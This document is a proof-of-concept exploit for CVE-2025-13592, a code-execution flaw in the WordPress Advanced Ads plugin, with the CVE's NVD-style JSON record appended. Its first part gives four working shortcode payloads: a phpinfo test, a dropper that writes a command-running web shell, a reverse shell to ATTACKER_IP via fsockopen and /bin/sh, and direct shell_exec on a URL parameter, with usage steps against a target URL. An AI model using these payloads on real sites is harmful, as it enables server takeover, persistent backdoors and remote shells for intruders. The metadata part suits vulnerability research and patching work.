CVE-2025-13592

<!-- WordPress Advanced Ads Plugin RCE PoC - CVE-2025-13592 --> <!-- Requires Editor or higher privileges --> <!-- Method 1: Basic PHP Code Execution via Shortcode --> [advanced-ad change-ad__content='<?php phpinfo(); ?>'] <!-- Method 2: Webshell Creation --> [advanced-ad change-ad__content='<?php file_put_contents("shell.php", "<?php if(isset($_GET[\"cmd\"])){ system($_GET[\"cmd\"]); } ?>"); ?>'] <!-- Method 3: Reverse Shell Payload --> [advanced-ad change-ad__content='<?php $sock=fsockopen("ATTACKER_IP",PORT);exec("/bin/sh -i <&3 >&3 2>&3"); ?>'] <!-- Method 4: System Command Execution --> [advanced-ad change-ad__content='<?php echo shell_exec($_GET["cmd"]); ?>'] <!-- Usage: After injecting the shortcode, access the page/post, then use: --> <!-- http://target.com/page-with-ad/?cmd=whoami -->

{"cve": {"id": "CVE-2025-13592", "sourceIdentifier": "[email protected]", "published": "2025-12-29T19:15:54.687", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Advanced Ads plugin for WordPress is vulnerable to Remote Code Execution in versions up to, and including, 2.0.14 via the 'change-ad__content' shortcode parameter. This allows authenticated attackers with editor-level permissions or above, to execute code on the server."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/advanced-ads/tags/2.0.14/includes/ads/class-ad-plain.php#L36", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3427297/advanced-ads#file9", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f9e83561-aa71-4984-8a26-207e208d70e8?source=cve", "source": "[email protected]"}]}}